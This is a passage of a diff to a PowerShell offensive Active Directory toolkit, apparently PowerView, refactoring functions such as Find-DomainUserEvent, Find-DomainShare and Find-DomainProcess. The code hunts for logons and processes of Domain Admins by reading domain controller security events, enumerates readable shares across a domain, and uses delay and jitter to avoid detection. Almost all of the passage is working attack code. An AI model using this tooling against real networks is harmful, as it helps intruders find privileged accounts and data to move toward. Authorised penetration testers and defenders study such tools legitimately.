$Process.User) { + $Process + } } } } } - } - process { + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'ProcessName' = $ProcessName - 'TargetUsers' = $TargetUsers - 'Credential' = $Credential - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 + $RandNo = New-Object System.Random - ForEach ($Computer in $ComputerName) { - + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential + Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential $Result - if($Result -and $StopOnSuccess) { - Write-Verbose "[*] Target user/process found, returning early" + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainProcess] Target user found, returning early" return } } } + else { + Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'ProcessName' = $TargetProcessName + 'TargetUsers' = $TargetUsers + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } } } -function Invoke-EventHunter { +function Find-DomainUserEvent { <# - .SYNOPSIS +.SYNOPSIS + +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +.DESCRIPTION + +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +.PARAMETER ComputerName + +Specifies an explicit computer name to retrieve events from. + +.PARAMETER Domain + +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +.PARAMETER Filter + +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents - Queries all domain controllers on the network for account - logon events (ID 4624) and TGT request events (ID 4768), - searching for target users. +The maximum number of events (per host) to retrieve. Default of 5000. - Note: Domain Admin (or equiv) rights are needed to query - this information from the DCs. +.PARAMETER UserIdentity - Author: @sixdub, @harmj0y - License: BSD 3-Clause +Specifies one or more user identities to search for. - .PARAMETER ComputerName +.PARAMETER UserDomain - Host array to enumerate, passable on the pipeline. +Specifies the domain to query for users to search for, defaults to the current domain. - .PARAMETER ComputerFile +.PARAMETER UserLDAPFilter - File of hostnames/IPs to search. +Specifies an LDAP query string that is used to search for target users. - .PARAMETER ComputerFilter +.PARAMETER UserSearchBase - Host filter name to query AD for, wildcards accepted. +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - .PARAMETER ComputerADSpath +.PARAMETER UserGroupIdentity - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. - .PARAMETER GroupName +.PARAMETER UserAdminCount - Group name to query for target users. +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). - .PARAMETER TargetServer +.PARAMETER Server - Hunt for users who are effective local admins on a target server. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER UserName +.PARAMETER SearchScope - Specific username to search for. +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER UserFilter +.PARAMETER ResultPageSize - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER UserADSpath +.PARAMETER ServerTimeLimit - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER UserFile +.PARAMETER Tombstone - File of usernames to search for. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER NoPing +.PARAMETER Credential - Don't ping each host to ensure it's up before enumerating. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer(s). - .PARAMETER Domain +.PARAMETER StopOnSuccess - Domain for query for machines, defaults to the current domain. +Switch. Stop hunting after finding after finding a target user. - .PARAMETER DomainController +.PARAMETER Delay - Domain controller to reflect LDAP queries through. +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - .PARAMETER SearchDays +.PARAMETER Jitter - Number of days back to search logs for. Default 3. +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - .PARAMETER SearchForest +.PARAMETER Threads - Switch. Search all domains in the forest for target users instead of just - a single domain. +The number of threads to use for user searching, defaults to 20. - .PARAMETER Threads +.EXAMPLE - The maximum concurrent threads to execute. +Find-DomainUserEvent - .PARAMETER Credential +Search for any user events matching domain admins on every DC in the current domain. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +$cred = Get-Credential dev\administrator +Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' - PS C:\> Invoke-EventHunter +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential - .LINK +.EXAMPLE - http://blog.harmj0y.net +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +.EXAMPLE + +$cred = Get-Credential testlab\administrator +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogon')] + [CmdletBinding(DefaultParameterSetName = 'Domain')] + Param( + [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [Parameter(ParameterSetName = 'Domain')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $Domain, - [String] - $ComputerFilter, + [ValidateNotNullOrEmpty()] + [Hashtable] + $Filter, - [String] - $ComputerADSpath, + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), - [String] - $GroupName = 'Domain Admins', + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, - [String] - $TargetServer, + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + [ValidateNotNullOrEmpty()] [String[]] - $UserName, + $UserIdentity, + [ValidateNotNullOrEmpty()] [String] - $UserFilter, - - [String] - $UserADSpath, - - [ValidateScript({Test-Path -Path $_ })] - [String] - $UserFile, + $UserDomain, + [ValidateNotNullOrEmpty()] [String] - $Domain, + $UserLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $DomainController, + $UserSearchBase, - [Int32] - $SearchDays = 3, + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + [Alias('AdminCount')] [Switch] - $SearchForest, + $UserAdminCount, - [ValidateRange(1,100)] - [Int] - $Threads, - - [Management.Automation.PSCredential] - $Credential - ) + [Switch] + $CheckAccess, - begin { + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - # random object for delay - $RandNo = New-Object System.Random + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - Write-Verbose "[*] Running Invoke-EventHunter" + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain -Credential $Credential).name ) - } + [Switch] + $Tombstone, - ##################################################### - # - # First we build the host target set - # - ##################################################### + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - if(!$ComputerName) { - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - elseif($ComputerFilter -or $ComputerADSpath) { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath - } - } - else { - # if a computer specifier isn't given, try to enumerate all domain controllers - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for domain controllers" - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname} - } - } + [Switch] + $StopOnSuccess, - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, - ##################################################### - # - # Now we build the user target set - # - ##################################################### + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - # users we're going to be searching for - $TargetUsers = @() + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - # if we want to hunt for the effective domain users who can access a target server - if($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - ($_.AccountName).split("/")[1].toLower() - } | Where-Object {$_} - } - # if we get a specific username, only use that - elseif($UserName) { - # Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers = $UserName | ForEach-Object {$_.ToLower()} - if($TargetUsers -isnot [System.Array]) { - $TargetUsers = @($TargetUsers) - } - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} - } - elseif($UserADSpath -or $UserFilter) { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { - $_.samaccountname - } | Where-Object {$_} - } + BEGIN { + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { + # otherwise we're querying a specific group + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + Write-Verbose "UserGroupIdentity: $UserGroupIdentity" + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { - $_.MemberName - } + # if not -ComputerName is passed, query the current (or target) domain for domain controllers + $DCSearcherArguments = @{ + 'LDAP' = $True } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" + $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname } - - if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" + if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { + $TargetComputers = @(,$TargetComputers) + } + Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" + Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserEvent] No hosts found to enumerate' } - # script block that enumerates a server + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential) + Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # try to enumerate - if($Credential) { - Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $DomainUserEventArgs = @{ + 'ComputerName' = $TargetComputer } - } - else { - Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName + if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } + if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } + if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } + if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } + if ($Filter -or $TargetUsers) { + if ($TargetUsers) { + Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} + } + else { + $Operator = 'or' + $Filter.Keys | ForEach-Object { + if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { + if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { + $Operator = 'and' + } + } + } + $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} + Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { + if ($Operator -eq 'or') { + ForEach ($Key in $Keys) { + if ($_."$Key" -match $Filter[$Key]) { + $_ + } + } + } + else { + # and all clauses + ForEach ($Key in $Keys) { + if ($_."$Key" -notmatch $Filter[$Key]) { + break + } + $_ + } + } + } + } + } + else { + Get-DomainUserEvent @DomainUserEventArgs } } } } - } - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'TargetUsers' = $TargetUsers - 'SearchDays' = $SearchDays - 'Credential' = $Credential - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" $Counter = 0 + $RandNo = New-Object System.Random - ForEach ($Computer in $ComputerName) { - + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential + Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" + return + } } } + else { + Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'StartTime' = $StartTime + 'EndTime' = $EndTime + 'MaxEvents' = $MaxEvents + 'TargetUsers' = $TargetUsers + 'Filter' = $Filter + 'Credential' = $Credential + } + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } } } -function Invoke-ShareFinder { +function Find-DomainShare { <# - .SYNOPSIS +.SYNOPSIS - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, then for - each server it lists of active shares with Get-NetShare. Non-standard shares - can be filtered out with -Exclude* flags. +Searches for computer shares on the domain. If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. - Author: @harmj0y - License: BSD 3-Clause +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction - .PARAMETER ComputerName +.DESCRIPTION - Host array to enumerate, passable on the pipeline. +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. If -CheckShareAccess is passed, then +[IO.Directory]::GetFiles() is used to check if the current user has read +access to the given share. If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. - .PARAMETER ComputerFile +.PARAMETER ComputerName - File of hostnames/IPs to search. +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - .PARAMETER ComputerFilter +.PARAMETER ComputerDomain - Host filter name to query AD for, wildcards accepted. +Specifies the domain to query for computers, defaults to the current domain. - .PARAMETER ComputerADSpath +.PARAMETER ComputerLDAPFilter - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies an LDAP query string that is used to search for computer objects. - .PARAMETER ExcludeStandard +.PARAMETER ComputerSearchBase - Switch. Exclude standard shares from display (C$, IPC$, print$ etc.) +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - .PARAMETER ExcludePrint +.PARAMETER ComputerOperatingSystem - Switch. Exclude the print$ share. +Search computers with a specific operating system, wildcards accepted. - .PARAMETER ExcludeIPC +.PARAMETER ComputerServicePack - Switch. Exclude the IPC$ share. +Search computers with a specific service pack, wildcards accepted. - .PARAMETER CheckShareAccess +.PARAMETER ComputerSiteName - Switch. Only display found shares that the local user has access to. +Search computers in the specific AD Site name, wildcards accepted. - .PARAMETER CheckAdmin +.PARAMETER CheckShareAccess - Switch. Only display ADMIN$ shares the local user has access to. +Switch. Only display found shares that the local user has access to. - .PARAMETER NoPing +.PARAMETER Server - Switch. Don't ping each host to ensure it's up before enumerating. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER Delay +.PARAMETER SearchScope - Delay between enumerating hosts, defaults to 0. +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER Jitter +.PARAMETER ResultPageSize - Jitter for the host delay, defaults to +/- 0.3. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER Domain +.PARAMETER ServerTimeLimit - Domain to query for machines, defaults to the current domain. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER DomainController +.PARAMETER Tombstone - Domain controller to reflect LDAP queries through. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER SearchForest +.PARAMETER Credential - Switch. Search all domains in the forest for target users instead of just - a single domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - .PARAMETER Threads +.PARAMETER Delay - The maximum concurrent threads to execute. +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - .EXAMPLE +.PARAMETER Jitter - PS C:\> Invoke-ShareFinder -ExcludeStandard +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - Find non-standard shares on the domain. +.PARAMETER Threads - .EXAMPLE +The number of threads to use for user searching, defaults to 20. - PS C:\> Invoke-ShareFinder -Threads 20 +.EXAMPLE - Multi-threaded share finding, replaces Invoke-ShareFinderThreaded. +Find-DomainShare - .EXAMPLE +Find all domain shares in the current domain. - PS C:\> Invoke-ShareFinder -Delay 60 +.EXAMPLE - Find shares on the domain with a 60 second (+/- *.3) - randomized delay between touching each host. +Find-DomainShare -CheckShareAccess - .EXAMPLE +Find all domain shares in the current domain that the current user has +read access to. - PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt +.EXAMPLE - Find shares for machines in the specified hosts file. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred - .LINK - http://blog.harmj0y.net +Searches for domain shares in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.ShareInfo #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ShareInfo')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] + [Alias('Domain')] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, - - [Switch] - $ExcludeStandard, + $ComputerSearchBase, - [Switch] - $ExcludePrint, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, - [Switch] - $ExcludeIPC, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, - [Switch] - $NoPing, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + [Alias('CheckAccess')] [Switch] $CheckShareAccess, - [Switch] - $CheckAdmin, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [UInt32] - $Delay = 0, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [Double] - $Jitter = .3, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [String] - $Domain, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - [String] - $DomainController, - [Switch] - $SearchForest, + $Tombstone, - [ValidateRange(1,100)] - [Int] - $Threads - ) + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, - # random object for delay - $RandNo = New-Object System.Random + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - # figure out the shares we want to ignore - [String[]] $ExcludedShares = @('') + BEGIN { - if ($ExcludePrint) { - $ExcludedShares = $ExcludedShares + "PRINT$" + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' } - if ($ExcludeIPC) { - $ExcludedShares = $ExcludedShares + "IPC$" + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if 